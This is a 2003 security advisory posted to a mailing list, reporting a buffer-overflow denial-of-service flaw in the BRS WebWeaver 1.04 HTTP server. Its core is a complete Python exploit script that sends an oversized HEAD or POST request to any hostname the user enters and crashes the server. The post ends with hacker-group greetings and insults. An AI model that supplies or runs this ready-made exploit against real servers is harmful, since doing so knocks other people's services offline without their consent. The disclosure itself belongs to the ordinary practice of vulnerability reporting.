BRS WebWeaver: POST and HEAD Overflaws

From: euronymous (just-a-userat_private)
Date: Tue May 27 2003 - 03:45:31 PDT

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    =:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=
    topic: BRS WebWeaver: POST and HEAD Overflaws
    product: BRS WebWeaver v1.04 and prior [ i guess ]
    vendor: www.brswebweaver.com
    risk: high
    date: 05/25/2k3
    tested platform: Windows 98 Second Edition
    discovered by: euronymous /F0KP 
    advisory urls: http://f0kp.iplus.ru/bz/025.en.txt
                   http://f0kp.iplus.ru/bz/025.ru.txt 
    contact email: euronymousat_private
    =:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=
    
    description
    -----------
    
    more b0fs in Webweaver. sending 32700 charz in POST
    or HEAD request will crash http server. 
    
    when send 32699 charz with fadvWWhtdos.py, webweaver 
    print 403 error. when sending >= 32700 charz, server 
    will print `Unable to insert string' error and you
    have to restart it.
    
    }------- start of fadvWWhtdos.py ---------------{
    
    #! /usr/bin/env python
    ###
    # WebWeaver 1.04 Http Server DoS exploit 
    # by euronymous /f0kp [http://f0kp.iplus.ru]
    ########
    # Usage: ./fadvWWhtdos.py
    ########
    
    import sys
    import httplib
    
    met = raw_input("""
    What kind request you want make to crash webweaver?? [ HEAD/POST ]: 
    """)
    target = raw_input("Type your target hostname [ w/o http:// ]: ")
    spl = "f0kp"*0x1FEF
    conn = httplib.HTTPConnection(target)
    conn.request(met, "/"+spl)
    r1 = conn.getresponse()
    print r1.status
    
    }--------- end of fadvWWhtdos.py ---------------{
    
    
    shouts: DWC, DHG, NetPoison, HUNGOSH, security.nnov.ru, 
    N0b0d13s Team and all russian security guyz!! 
    to kate especially )) 
    hates: slavomira and other dirty ppl in *.kz $#%&^!  
    k0dsweb lamers team == yeah, i really __HATE__ yours!!
              
    
    ================
    im not a lame,
    not yet a hacker
    ================
    



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